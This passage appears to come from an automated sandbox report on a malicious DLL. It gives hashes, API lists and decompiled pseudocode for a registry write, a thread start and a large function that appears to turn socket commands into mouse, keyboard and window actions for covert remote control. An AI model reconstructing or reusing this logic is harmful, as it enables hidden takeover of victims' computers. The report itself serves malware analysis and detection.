Associated: 00000007.00000002.380457810.0000000010003000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380471094.000000001001D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380476329.000000001001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: CloseCreateHandleSleepThread
String ID: Cqt Uqt
API String ID: 3211747346-3985357768
Opcode ID: 8fb99263a1f7e265da3182c136bc031f65d74c8b68f38069a16d4ce2c346d325
Instruction ID: 89eaaaa9e57ec4c0b3d38250a5035c813192d8e5026d512d685981acf05696ae
Opcode Fuzzy Hash: 8fb99263a1f7e265da3182c136bc031f65d74c8b68f38069a16d4ce2c346d325
Instruction Fuzzy Hash: F0D05E703463007AFA159BA48C4EF96379CD704BD2F20C014F246DD0D8DBA0A4908525

Uniqueness

Uniqueness Score: -1.00%

Function 10001000 Relevance: 4.5, APIs: 3, Instructions: 39
registryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E10001000(int __edx) {
				void* _v4;
				int _t6;
				char* _t12;
				char* _t13;
				char* _t15;
				int _t16;

				_t12 =  *0x1001d094; // 0x1001d56b
				_t16 = __edx;
				_t15 = _t13;
				_t6 = RegOpenKeyExA(0x80000001,  *0x1001d090, 0, 2,  &_v4); // executed
				if(_t6 != 0) {
					return 0;
				} else {
					RegSetValueExA(_v4, _t12, _t6, 3, _t15, _t16); // executed
					asm("sbb esi, esi");
					RegCloseKey(_v4);
					return _t16 + 1;
				}
			}

0x10001002
0x10001019
0x1000101b
0x10001022
0x1000102a
0x10001058
0x1000102c
0x10001036
0x10001042
0x10001044
0x10001051
0x10001051

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000002,10001E77,?,?,?,?,10001E77), ref: 10001022
RegSetValueExA.KERNEL32(00000003,1001D56B,00000000,00000003,?,?,?,?,?,?,10001E77), ref: 10001036
RegCloseKey.ADVAPI32(?,?,?,?,?,10001E77), ref: 10001044

Memory Dump Source

Source File: 00000007.00000002.380451377.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.380446044.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380457810.0000000010003000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380471094.000000001001D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380476329.000000001001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: 4be9e8e617ec44dec68e025f9acd4f34c45f9b27664478a819a7476d6b501f46
Instruction ID: 1b02f79803f19add64bfcbbf00fae8fa5227ddcdcf52d6954cd541a8da5ffa40
Opcode Fuzzy Hash: 4be9e8e617ec44dec68e025f9acd4f34c45f9b27664478a819a7476d6b501f46
Instruction Fuzzy Hash: 67F08276205120BFF7259B25DC89F97BBADFBC8765F10812AF60DD11A0D661DC019660

Uniqueness

Uniqueness Score: -1.00%

Function 04A07720 Relevance: 3.0, APIs: 2, Instructions: 19
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A07720() {
				void* _t2;
				DWORD* _t6;

				_t2 = CreateThread(0, 0, E04A07540, 1, 0, _t6); // executed
				if(_t2 == 0) {
					return 0;
				} else {
					CloseHandle(_t2);
					return 1;
				}
			}

0x04a07732
0x04a0773a
0x04a0774d
0x04a0773c
0x04a0773d
0x04a07749
0x04a07749

APIs

CreateThread.KERNEL32 ref: 04A07732
CloseHandle.KERNEL32(00000000,?,04A039F8), ref: 04A0773D

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: CloseCreateHandleThread
String ID:
API String ID: 3032276028-0
Opcode ID: dc40bfaa9e550bdc2ef4bc5203d3db5c77f14d6df9f30286276f1821af242c8f
Instruction ID: af02844f3a6cdcb97b608b4c921f2c074f4cfc812e00347ad521541ffb28ce1e
Opcode Fuzzy Hash: dc40bfaa9e550bdc2ef4bc5203d3db5c77f14d6df9f30286276f1821af242c8f
Instruction Fuzzy Hash: 26D0C9B53953007AFA345B60AC4AF96325CEB14B52F204459B707E94C0EAE8F8829524

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 04A05CE0 Relevance: 70.7, APIs: 39, Strings: 1, Instructions: 704
networkwindowthreadCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E04A05CE0(intOrPtr _a4) {
				char _v322;
				char _v323;
				char _v324;
				char _v340;
				char _v368;
				struct _WINDOWPLACEMENT _v384;
				void* _v404;
				short _v408;
				short _v410;
				struct HKL__* _v420;
				char _v424;
				int _v444;
				struct HWND__* _v448;
				long _v452;
				long _v456;
				long _v460;
				long _v464;
				struct tagPOINT _v472;
				struct tagRECT _v488;
				struct HWND__* _v492;
				intOrPtr _v496;
				int _v500;
				int _v504;
				long _v508;
				struct HWND__* _v512;
				struct tagPOINT _v520;
				short _v524;
				unsigned int _v528;
				int _v532;
				struct HWND__* _v536;
				char _v537;
				struct HWND__* _v540;
				signed int _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				signed char _v553;
				int _v560;
				signed short _v564;
				signed short _v568;
				char _v569;
				int _v572;
				void* _t196;
				short _t198;
				void* _t199;
				signed int _t206;
				int _t216;
				struct HWND__* _t221;
				signed int _t225;
				struct HWND__* _t230;
				struct HWND__* _t233;
				signed int _t234;
				struct HWND__* _t235;
				DWORD* _t236;
				long _t238;
				struct HKL__* _t239;
				struct HWND__* _t240;
				short _t241;
				struct HWND__* _t243;
				struct HWND__* _t256;
				struct HWND__* _t257;
				signed short _t261;
				struct tagPOINT _t263;
				signed int _t265;
				struct HWND__* _t266;
				signed int _t269;
				signed char _t290;
				void* _t293;
				int _t295;
				int _t296;
				int _t297;
				int _t298;
				struct tagPOINT _t301;
				int _t302;
				signed short _t306;
				signed short _t330;
				void* _t338;
				char* _t340;
				void* _t341;
				HKL* _t342;
				struct HWND__* _t344;
				void* _t346;
				intOrPtr _t349;
				void* _t350;
				void* _t351;
				int _t352;
				struct HWND__* _t353;
				struct tagPOINT _t355;
				struct HWND__* _t357;
				signed int _t363;
				void* _t365;
				void* _t366;
				void* _t367;
				void* _t368;
				void* _t369;
				void* _t370;
				void* _t371;

				_t365 = (_t363 & 0xfffffff8) - 0x1ec;
				_t196 =  *0x4a165f0; // 0x7b71be40
				_v404 = _t196;
				_v408 = 2;
				_t198 =  *0x4a176f4( *0x4a165f4 & 0x0000ffff, _t338, _t346, _t293);
				_v410 = _t198;
				_t199 =  *0x4a176d4(2, 1, 6);
				if(2 != 0xffffffff) {
					_t199 =  *0x4a176e0(2,  &_v424, 0x10);
					__eflags = _t199;
					if(_t199 == 0) {
						 *0x4a1640c = 2;
						__eflags = 2;
						if(2 == 0) {
							goto L147;
						}
					} else {
						_t199 =  *0x4a176d8(2);
						 *0x4a1640c = 0xffffffff;
					}
					goto L5;
				} else {
					 *0x4a1640c = 2;
					L5:
					_v472.x = 3 + (_t199 & 0xffffff00 |  *0x4a163f4 != 0x00000000) * 2;
					_push(_v472.x);
					E04A05960( &_v368, _a4);
					_t295 =  *0x4a1640c; // 0x0
					_t340 =  &_v368;
					_t366 = _t365 + 4;
					_t349 = 0x22;
					while(1) {
						_t199 =  *0x4a176dc(_t295, _t340, _t349, 0);
						if(_t199 <= 0) {
							break;
						}
						_t340 = _t340 + _t199;
						_t349 = _t349 - _t199;
						if(_t349 != 0) {
							continue;
						}
						_push(1);
						_push( &_v537);
						_t199 = E04A01760( *0x4a1640c);
						_t367 = _t366 + 0xc;
						if(_t199 != 0 && _v537 == 0) {
							_t199 = E04A0ACE0();
							if(_t199 == 0) {
								break;
							}
							E04A010D0(0x4a16548, _t349, 0x2c);
							_t206 =  *0x4a16574; // 0x0
							_t368 = _t367 + 0xc;
							_t296 =  *0x4a1640c; // 0x0
							 *0x4a16558 = _t349;
							 *0x4a16568 = _t349;
							 *0x4a1a6b4 = _t349;
							_t341 = 0x4a176a0 + _t206 * 4;
							 *0x4a17764 = _t349;
							 *0x4a1776c = _t349;
							 *0x4a1a6b0 = _t349;
							_t350 = 4;
							 *0x4a16548 = 0x28;
							 *0x4a16554 = 0x180001;
							while(1) {
								_t199 =  *0x4a176dc(_t296, _t341, _t350, 0);
								if(_t199 <= 0) {
									goto L147;
								}
								_t341 = _t341 + _t199;
								_t350 = _t350 - _t199;
								if(_t350 != 0) {
									continue;
								}
								E04A010D0( &_v420, _t350, 0x14);
								_t369 = _t368 + 0xc;
								GetKeyboardLayoutList(5,  &_v420);
								_t297 =  *0x4a1640c; // 0x0
								_t342 =  &_v420;
								_t351 = 0x14;
								while(1) {
									_t199 =  *0x4a176dc(_t297, _t342, _t351, 0);
									if(_t199 <= 0) {
										goto L147;
									}
									_t342 = _t342 + _t199;
									_t351 = _t351 - _t199;
									if(_t351 != 0) {
										continue;
									}
									_push(1);
									_push( &_v569);
									_t199 = E04A01760( *0x4a1640c);
									_t370 = _t369 + 0xc;
									if(_t199 == 0) {
										goto L147;
									}
									if(_v569 == 0) {
										L20:
										_t199 = CreateThread(0, 0, E04A05A30, _v404, 0,  &_v488);
										if(_t199 == 0) {
											goto L147;
										}
										 *0x4a163ec = _t199;
										_v508 = 0;
										_t199 = E04A017E0( *0x4a1640c,  &_v508, 0xc);
										_t371 = _t370 + 0xc;
										if(_t199 == 0) {
											goto L147;
										}
										do {
											_t298 = _v508;
											if(_t298 == 0) {
												goto L146;
											}
											if(_t298 <= 0x5ae) {
												_t352 = _v500;
												_v528 = _t352;
												_v532 = _v504;
												_v536 = 0;
												__eflags = _t298 - 0x102;
												if(_t298 == 0x102) {
													L115:
													_t216 =  *0x4a17754; // 0x0
													_t301 = 0x4a17750->x; // 0x0
													_push(_t216);
													_v520.x = _t301;
													_v520.y = _t216;
													_t344 = WindowFromPoint(_t301);
													_v540 = _t352 & 0xf1ffffff;
													__eflags = _t298 - 0x300;
													if(__eflags > 0) {
														_t221 = _t298 - 0x301;
														__eflags = _t221;
														if(_t221 == 0) {
															L134:
															ScreenToClient(_t344,  &_v520);
															_push(_v520.y);
															_t353 = ChildWindowFromPoint(_t344, _v520.x);
															__eflags = _t353;
															if(_t353 == 0) {
																L138:
																_t302 = 0;
																_t225 = 0;
																L141:
																_push(_t225);
																_push(_t302);
																L142:
																PostMessageA(_t344, _t298, ??, ??);
																L143:
																L144:
																_t199 = _v508;
																if(_t199 == 0x5c4 || _t199 == 0x5c3) {
																	goto L147;
																} else {
																	goto L146;
																}
															}
															while(1) {
																__eflags = _t353 - _t344;
																if(_t353 == _t344) {
																	goto L138;
																}
																_t344 = _t353;
																ScreenToClient(_t353,  &_v520);
																_push(_v520.y);
																_t353 = ChildWindowFromPoint(_t353, _v520);
																__eflags = _t353;
																if(_t353 != 0) {
																	continue;
																}
																goto L138;
															}
															goto L138;
														}
														_t230 = _t221 - 1;
														__eflags = _t230;
														if(_t230 == 0) {
															goto L134;
														}
														__eflags = _t230 != 0x152;
														if(_t230 != 0x152) {
															L139:
															_t302 = _v532;
															L140:
															_t225 = _v540;
															goto L141;
														}
														goto L134;
													}
													if(__eflags == 0) {
														goto L134;
													}
													_t233 = _t298 - 0xb1;
													__eflags = _t233;
													if(_t233 == 0) {
														_t234 = E04A0A800(_t344,  &_v520);
														_t344 = _t234;
														_t302 = 0;
														_t225 = _t234 | 0xffffffff;
														goto L141;
													}
													_t235 = _t233 - 0x16;
													__eflags = _t235;
													if(_t235 == 0) {
														goto L134;
													}
													_t236 = _t235 - 0x3b;
													__eflags = _t236;
													if(_t236 != 0) {
														goto L139;
													}
													__eflags =  *0x4a176d0 - _t236; // 0x0
													if(__eflags == 0) {
														L129:
														__eflags = 0;
														_t302 =  !=  ? 0 : _v532;
														goto L140;
													}
													_t238 = GetWindowThreadProcessId(_t344, _t236);
													__eflags = _t238;
													if(_t238 == 0) {
														goto L129;
													}
													_t239 = GetKeyboardLayout(_t238);
													__eflags = _t239;
													if(_t239 == 0) {
														goto L129;
													}
													_t240 = ActivateKeyboardLayout(_t239, 0);
													__eflags = _t240;
													if(_t240 == 0) {
														goto L129;
													}
													_t241 = VkKeyScanExA(_v532,  *0x4a176d0);
													_v553 = _t241;
													__eflags = _t241 - 0xff;
													if(_t241 == 0xff) {
														goto L129;
													}
													_t243 = GetKeyboardState( &_v340);
													__eflags = _t243;
													if(_t243 == 0) {
														E04A010D0( &_v340, _t243, 0x100);
														_t371 = _t371 + 0xc;
													}
													_v524 = 0;
													asm("sbb al, al");
													_v323 =  ~(_t352 & 0x02000000);
													asm("sbb al, al");
													_v324 =  ~(_t352 & 0x04000000);
													asm("sbb al, al");
													_v322 =  ~(_t352 & 0x08000000);
													_t256 = ToAscii(_v553 & 0x000000ff, _t352,  &_v340,  &_v524, 0);
													__eflags = _t256;
													if(_t256 <= 0) {
														goto L129;
													} else {
														_t257 = _v524 & 0x0000ffff;
														__eflags = _t257;
														_t302 =  !=  ? _t257 : _v532;
														goto L140;
													}
												}
												__eflags = _t298 - 0x100;
												if(_t298 == 0x100) {
													goto L115;
												}
												__eflags = _t298 - 0x101;
												if(_t298 == 0x101) {
													goto L115;
												}
												__eflags = _t298 - 0x301;
												if(_t298 == 0x301) {
													goto L115;
												}
												__eflags = _t298 - 0x302;
												if(_t298 == 0x302) {
													goto L115;
												}
												__eflags = _t298 - 0x300;
												if(_t298 == 0x300) {
													goto L115;
												}
												__eflags = _t298 - 0xc7;
												if(_t298 == 0xc7) {
													goto L115;
												}
												__eflags = _t298 - 0x454;
												if(_t298 == 0x454) {
													goto L115;
												}
												__eflags = _t298 - 0xb1;
												if(_t298 == 0xb1) {
													goto L115;
												}
												_t261 = _v528 >> 0x10;
												_t330 = _t261;
												_t355 = _t352 +  *0x4a16418;
												_v568 = _t355;
												_t263 = 0x4a165e4->x; // 0x0
												_push(_t330);
												_v528 = (_t261 & 0x0000ffff) << 0x00000010 | _t355 & 0x0000ffff;
												_t306 =  *0x4a165e8; // 0x0
												_v564 = _t330;
												0x4a17744->x = _t263;
												 *0x4a17748 = _t306;
												 *0x4a165e4 = _t355;
												 *0x4a165e8 = _t330;
												_t344 = WindowFromPoint(_t355);
												_t265 = E04A0A270(_t344, _v568, _v564);
												_t371 = _t371 + 8;
												_v544 = _t265;
												_t266 = _t265 & 0x00000020;
												__eflags = _t266;
												_v492 = _t266;
												if(_t266 != 0) {
													_t344 = GetParent(_t344);
													_t290 = E04A0A270(_t344, _v568, _v564);
													_t371 = _t371 + 8;
													_v544 = _t290;
												}
												__eflags = SendMessageTimeoutA(_t344, 0x84, 0, _v528, 2, 0x3e8,  &_v464);
												_t269 = _t298 - 0x200;
												_t357 =  !=  ? _v464 : _v536;
												_v536 = _t357;
												__eflags = _t269 - 5;
												if(_t269 > 5) {
													L94:
													__eflags = _t357 - 1;
													if(_t357 <= 1) {
														goto L75;
													}
													goto L95;
												} else {
													switch( *((intOrPtr*)(_t269 * 4 +  &M04A06790))) {
														case 0:
															__eflags = _v532 - 1;
															if(_v532 != 1) {
																goto L94;
															}
															__eflags = _t357 - 7;
															if(_t357 == 7) {
																goto L95;
															}
															__eflags = _t357 - 6;
															if(_t357 == 6) {
																goto L95;
															}
															_t272 =  *0x4a1774c; // 0x0
															_t333 = _t344;
															_v540 = _t333;
															_v456 = 0;
															__eflags = _t272;
															if(_t272 != 0) {
																_t333 = _t272;
																_v540 = _t272;
															} else {
																 *0x4a17758 = _t357;
															}
															_t314 =  *0x4a17744; // 0x0
															_v548 = _t314 - _v568;
															_t316 =  *0x4a17748; // 0x0
															_v552 = _t316 - _v564;
															GetWindowRect(_t333,  &_v488);
															_t276 = _v488.top;
															_t334 = _v488.left;
															_v572 = _t276;
															_t277 = _v544;
															_v460 = _t334;
															_v496 = _v488.right - _t334;
															_v560 = _v488.bottom - _t276;
															__eflags = _t277 & 0x00000010;
															if((_t277 & 0x00000010) == 0) {
																L56:
																_t278 =  *0x4a17758; // 0x0
																_t279 = _t278 + 0xfffffffe;
																__eflags = _t279 - 0xf;
																if(_t279 > 0xf) {
																	goto L93;
																}
																switch( *((intOrPtr*)(_t279 * 4 +  &M04A067A8))) {
																	case 0:
																		goto L59;
																	case 1:
																		goto L93;
																	case 2:
																		goto L65;
																	case 3:
																		goto L67;
																	case 4:
																		goto L60;
																	case 5:
																		goto L62;
																	case 6:
																		goto L63;
																	case 7:
																		goto L61;
																	case 8:
																		goto L64;
																	case 9:
																		goto L66;
																}
															} else {
																_t286 = _v540;
																_t320 = _t286;
																_v512 = _t320;
																_t362 = _t286;
																__eflags = _t286;
																if(_t286 == 0) {
																	L53:
																	__eflags = _t320;
																	if(_t320 == 0) {
																		L55:
																		goto L56;
																	}
																	L54:
																	_v472.x = _v488.left;
																	_v472.y = _v488.top;
																	ScreenToClient(_t320,  &_v472);
																	_t284 =  *0x4a16540; // 0x0
																	_t322 = _v472.y - _t284 + _t284;
																	__eflags = _t322;
																	_v572 = _t322;
																	goto L55;
																}
																asm("o16 nop [eax+eax]");
																while(1) {
																	_t287 = GetWindowLongA(_t362, 0xfffffff0);
																	__eflags = _t287;
																	if(_t287 == 0) {
																		break;
																	}
																	__eflags = _t287 & 0x40000000;
																	if((_t287 & 0x40000000) == 0) {
																		L52:
																		_t320 = _v512;
																		goto L53;
																	}
																	_t362 = GetParent(_t362);
																	__eflags = _t362;
																	if(_t362 == 0) {
																		goto L52;
																	}
																	_v512 = _t362;
																}
																_t320 = _v512;
																goto L54;
															}
														case 1:
															__eax = _v544;
															__ecx = __edi;
															__esp = __esp - 8;
															__eax = E04A055F0(__esi, _v544, _v568, _v564);
															__eflags = __eax;
															if(__eax != 0) {
																goto L143;
															}
															goto L94;
														case 2:
															 *0x4a1774c = 0;
															 *0x4a17758 = 0;
															__eflags = __esi - 1;
															if(__esi != 1) {
																__eflags = __esi - 0x14;
																if(__esi == 0x14) {
																	L97:
																	__ecx = __edi;
																	__eax = E04A0A780(__edi);
																	__ecx = __edi;
																	__esi = __edi;
																	_v560 = __ecx;
																	__eflags = __edi;
																	if(__edi == 0) {
																		L103:
																		__esi = _v536;
																		__edx = __esi;
																		__eax = E04A05560(__ecx, __edx);
																		__eflags = __eax;
																		if(__eax == 0) {
																			goto L94;
																		}
																		goto L143;
																	} else {
																		goto L98;
																	}
																	while(1) {
																		L98:
																		__eax = GetWindowLongA(__esi, 0xfffffff0);
																		__eflags = __eax;
																		if(__eax == 0) {
																			break;
																		}
																		__eflags = __eax & 0x40000000;
																		if((__eax & 0x40000000) == 0) {
																			break;
																		}
																		__esi = GetParent(__esi);
																		__eflags = __esi;
																		if(__esi == 0) {
																			break;
																		}
																		_v560 = __esi;
																	}
																	__ecx = _v560;
																	goto L103;
																}
																__eflags = __esi - 8;
																if(__esi == 8) {
																	goto L97;
																}
																__eflags = __esi - 9;
																if(__esi == 9) {
																	goto L97;
																}
																__eflags = __esi - 7;
																if(__esi == 7) {
																	L86:
																	__ecx = __edi;
																	__esi = __edi;
																	_v560 = __ecx;
																	__eflags = __edi;
																	if(__edi == 0) {
																		L92:
																		__eax = E04A0A610(__ecx);
																		goto L93;
																	} else {
																		goto L87;
																	}
																	while(1) {
																		L87:
																		__eax = GetWindowLongA(__esi, 0xfffffff0);
																		__eflags = __eax;
																		if(__eax == 0) {
																			break;
																		}
																		__eflags = __eax & 0x40000000;
																		if((__eax & 0x40000000) == 0) {
																			break;
																		}
																		__esi = GetParent(__esi);
																		__eflags = __esi;
																		if(__esi == 0) {
																			break;
																		}
																		_v560 = __esi;
																	}
																	__ecx = _v560;
																	goto L92;
																}
																__eflags = __esi - 6;
																if(__esi == 6) {
																	goto L86;
																}
																__eax = _v544;
																L84:
																__eflags = __al & 0x00000001;
																if((__al & 0x00000001) != 0) {
																	__eax = PostMessageA(__edi, 0x100, 0xd, 0);
																}
																goto L94;
															}
															__eax = _v544;
															__eflags = __eax & 0x00000800;
															if((__eax & 0x00000800) == 0) {
																goto L84;
															}
															__ecx = _v564;
															__edx =  &_v448;
															__eax = _v568;
															_v444 = _v564;
															__ecx = __edi;
															_v448 = _v568;
															E04A0A800(__ecx, __edx) = SetFocus(__eax);
															goto L75;
														case 3:
															__eax = _v568;
															__ecx = _v564;
															 *0x4a1774c = 0;
															 *0x4a17758 = 0;
															0x4a17750->x = _v568;
															 *0x4a17754 = __ecx;
															__eflags = __esi - 2;
															if(__esi != 2) {
																goto L94;
															}
															__ecx = __edi;
															__eax = E04A0A610(__edi);
															__ecx = __edi;
															__eax = E04A0A780(__ecx);
															__eax = IsWindow(__edi);
															__eflags = __eax;
															if(__eax == 0) {
																goto L95;
															}
															__eax =  &_v384;
															_v384.length = 0x2c;
															__eax = GetWindowPlacement(__edi,  &_v384);
															__eflags = __eax;
															if(__eax != 0) {
																__eflags = _v384.flags & 0x00000003;
																_push(0);
																if((_v384.flags & 0x00000003) == 0) {
																	__eax = PostMessageW(__edi, 0x112, 0xf030, ??);
																} else {
																	__eax = PostMessageW(__edi, 0x112, 0xf120, ??);
																}
															}
															goto L143;
														case 4:
															__eax = _v568;
															__ecx = _v564;
															 *0x4a17750 = _v568;
															 *0x4a17754 = __ecx;
															 *0x4a176c8 = __edi;
															goto L94;
														case 5:
															__eflags = __esi - 2;
															if(__esi != 2) {
																goto L94;
															}
															__eax = _v544;
															__eflags = __al & 0x00000040;
															if((__al & 0x00000040) == 0) {
																L95:
																__eflags = _v492;
																if(_v492 == 0) {
																	L75:
																	__eflags = _v544 & 0x00000006;
																	if((_v544 & 0x00000006) == 0) {
																		_t344 = E04A0A800(_t344,  &_v568);
																	}
																	_push((_v564 & 0x0000ffff) << 0x00000010 | _v568 & 0x0000ffff);
																	_push(_v532);
																	goto L142;
																}
																_t298 = _t298 + 0xfffffea0;
																_push(_v528);
																_push(_t357);
																goto L142;
															}
															__eax =  &_v452;
															__esi = SendMessageTimeoutA;
															SendMessageTimeoutA(__edi, 0x100, 0x79, 0, SendMessageTimeoutA, 0x3e8,  &_v452) =  &_v452;
															__eax = SendMessageTimeoutA(__edi, 0x100, 0x20, 0, 2, 0x3e8,  &_v452);
															goto L143;
														case 6:
															L59:
															__edi = _v572;
															__edx = __edx - _v548;
															__edi = _v572 - _v552;
															goto L69;
														case 7:
															L93:
															_t357 = _v536;
															goto L94;
														case 8:
															L65:
															__edx = __edx - _v548;
															__ecx = __ecx + _v548;
															goto L68;
														case 9:
															L67:
															__ecx = __ecx - _v548;
															__eflags = __ecx;
															goto L68;
														case 0xa:
															L60:
															__edi = _v572;
															__edi = _v572 - _v552;
															__esi = __esi + _v552;
															goto L69;
														case 0xb:
															L62:
															__edi = _v572;
															__edi = _v572 - _v552;
															__esi = __esi + _v552;
															__edx = __edx - _v548;
															__ecx = __ecx + _v548;
															goto L69;
														case 0xc:
															L63:
															__edi = _v572;
															__edi = _v572 - _v552;
															__esi = __esi + _v552;
															__ecx = __ecx - _v548;
															goto L69;
														case 0xd:
															L61:
															__esi = __esi - _v552;
															L68:
															__edi = _v572;
															L69:
															__esi = _v540;
															__eax = MoveWindow(__esi, __edx, __edi, __ecx, __esi, 1);
															 *0x4a1774c = __esi;
															goto L143;
														case 0xe:
															L64:
															__eflags = __esi;
															goto L65;
														case 0xf:
															L66:
															__eflags = __esi;
															goto L67;
													}
												}
											}
											E04A04820(_t298, _v504, _v500,  *0x4a1640c);
											_t371 = _t371 + 8;
											goto L144;
											L146:
											_v508 = 0;
											_t199 = E04A017E0( *0x4a1640c,  &_v508, 0xc);
											_t371 = _t371 + 0xc;
										} while (_t199 != 0);
										goto L147;
									}
									_push(1);
									_push( &_v569);
									_t199 = E04A01760( *0x4a1640c);
									_t370 = _t370 + 0xc;
									if(_t199 == 0) {
										goto L147;
									}
									goto L20;
								}
								goto L147;
							}
						}
						break;
					}
					L147:
					 *0x4a163e8 = 0;
					return _t199;
				}
			}

0x04a05ce6
0x04a05cec
0x04a05cfb
0x04a05d05
0x04a05d0a
0x04a05d16
0x04a05d1b
0x04a05d26
0x04a05d37
0x04a05d3d
0x04a05d3f
0x04a05d54
0x04a05d5a
0x04a05d5c
0x00000000
0x00000000
0x04a05d41
0x04a05d42
0x04a05d48
0x04a05d48
0x00000000
0x04a05d28
0x04a05d28
0x04a05d62
0x04a05d7d
0x04a05d81
0x04a05d85
0x04a05d8a
0x04a05d90
0x04a05d97
0x04a05d9a
0x04a05da0
0x04a05da5
0x04a05dad
0x00000000
0x00000000
0x04a05db3
0x04a05db5
0x04a05db7
0x00000000
0x00000000
0x04a05db9
0x04a05dbf
0x04a05dc6
0x04a05dcb
0x04a05dd0
0x04a05de1
0x04a05de8
0x00000000
0x00000000
0x04a05df6
0x04a05dfb
0x04a05e00
0x04a05e03
0x04a05e09
0x04a05e0f
0x04a05e15
0x04a05e1b
0x04a05e22
0x04a05e28
0x04a05e2e
0x04a05e34
0x04a05e39
0x04a05e43
0x04a05e50
0x04a05e55
0x04a05e5d
0x00000000
0x00000000
0x04a05e63
0x04a05e65
0x04a05e67
0x00000000
0x00000000
0x04a05e74
0x04a05e79
0x04a05e86
0x04a05e8c
0x04a05e92
0x04a05e99
0x04a05ea0
0x04a05ea5
0x04a05ead
0x00000000
0x00000000
0x04a05eb3
0x04a05eb5
0x04a05eb7
0x00000000
0x00000000
0x04a05eb9
0x04a05ebf
0x04a05ec6
0x04a05ecb
0x04a05ed0
0x00000000
0x00000000
0x04a05edb
0x04a05efa
0x04a05f11
0x04a05f19
0x00000000
0x00000000
0x04a05f1f
0x04a05f31
0x04a05f39
0x04a05f3e
0x04a05f43
0x00000000
0x00000000
0x04a05f50
0x04a05f50
0x04a05f56
0x00000000
0x00000000
0x04a05f62
0x04a05f81
0x04a05f89
0x04a05f8d
0x04a05f91
0x04a05f99
0x04a05f9f
0x04a0655c
0x04a0655c
0x04a06561
0x04a06567
0x04a06569
0x04a0656d
0x04a06573
0x04a0657c
0x04a06580
0x04a06586
0x04a066c8
0x04a066c8
0x04a066cd
0x04a066db
0x04a066e1
0x04a066e7
0x04a066f6
0x04a066f8
0x04a066fa
0x04a06727
0x04a06727
0x04a06729
0x04a06735
0x04a06735
0x04a06736
0x04a06737
0x04a06739
0x04a0673f
0x04a06745
0x04a06745
0x04a0674e
0x00000000
0x00000000
0x00000000
0x00000000
0x04a0674e
0x04a06700
0x04a06700
0x04a06702
0x00000000
0x00000000
0x04a06708
0x04a0670c
0x04a06712
0x04a06721
0x04a06723
0x04a06725
0x00000000
0x00000000
0x00000000
0x04a06725
0x00000000
0x04a06700
0x04a066cf
0x04a066cf
0x04a066d2
0x00000000
0x00000000
0x04a066d4
0x04a066d9
0x04a0672d
0x04a0672d
0x04a06731
0x04a06731
0x00000000
0x04a06731
0x00000000
0x04a066d9
0x04a0658c
0x00000000
0x00000000
0x04a06594
0x04a06594
0x04a06599
0x04a066b8
0x04a066bd
0x04a066bf
0x04a066c1
0x00000000
0x04a066c1
0x04a0659f
0x04a0659f
0x04a065a2
0x00000000
0x00000000
0x04a065a8
0x04a065a8
0x04a065ab
0x00000000
0x00000000
0x04a065b1
0x04a065b7
0x04a066a2
0x04a066a8
0x04a066aa
0x00000000
0x04a066aa
0x04a065bf
0x04a065c5
0x04a065c7
0x00000000
0x00000000
0x04a065ce
0x04a065d4
0x04a065d6
0x00000000
0x00000000
0x04a065df
0x04a065e5
0x04a065e7
0x00000000
0x00000000
0x04a065f7
0x04a065fd
0x04a06601
0x04a06603
0x00000000
0x00000000
0x04a06611
0x04a06617
0x04a06619
0x04a06629
0x04a0662e
0x04a0662e
0x04a06633
0x04a06644
0x04a06646
0x04a06656
0x04a06658
0x04a06668
0x04a0666a
0x04a06685
0x04a0668b
0x04a0668d
0x00000000
0x04a0668f
0x04a0668f
0x04a06698
0x04a0669a
0x00000000
0x04a0669a
0x04a0668d
0x04a05fa5
0x04a05fab
0x00000000
0x00000000
0x04a05fb1
0x04a05fb7
0x00000000
0x00000000
0x04a05fbd
0x04a05fc3
0x00000000
0x00000000
0x04a05fc9
0x04a05fcf
0x00000000
0x00000000
0x04a05fd5
0x04a05fdb
0x00000000
0x00000000
0x04a05fe1
0x04a05fe7
0x00000000
0x00000000
0x04a05fed
0x04a05ff3
0x00000000
0x00000000
0x04a05ff9
0x04a05fff
0x00000000
0x00000000
0x04a06009
0x04a0600c
0x04a06015
0x04a06023
0x04a06027
0x04a0602c
0x04a0602d
0x04a06031
0x04a06038
0x04a0603c
0x04a06041
0x04a06047
0x04a0604d
0x04a06059
0x04a06061
0x04a06066
0x04a06069
0x04a0606d
0x04a0606d
0x04a06070
0x04a06074
0x04a06081
0x04a06089
0x04a0608e
0x04a06091
0x04a06091
0x04a060b7
0x04a060b9
0x04a060bf
0x04a060c4
0x04a060c8
0x04a060cb
0x04a063cb
0x04a063cb
0x04a063ce
0x00000000
0x00000000
0x00000000
0x04a060d1
0x04a060d1
0x00000000
0x04a060d8
0x04a060dd
0x00000000
0x00000000
0x04a060e3
0x04a060e6
0x00000000
0x00000000
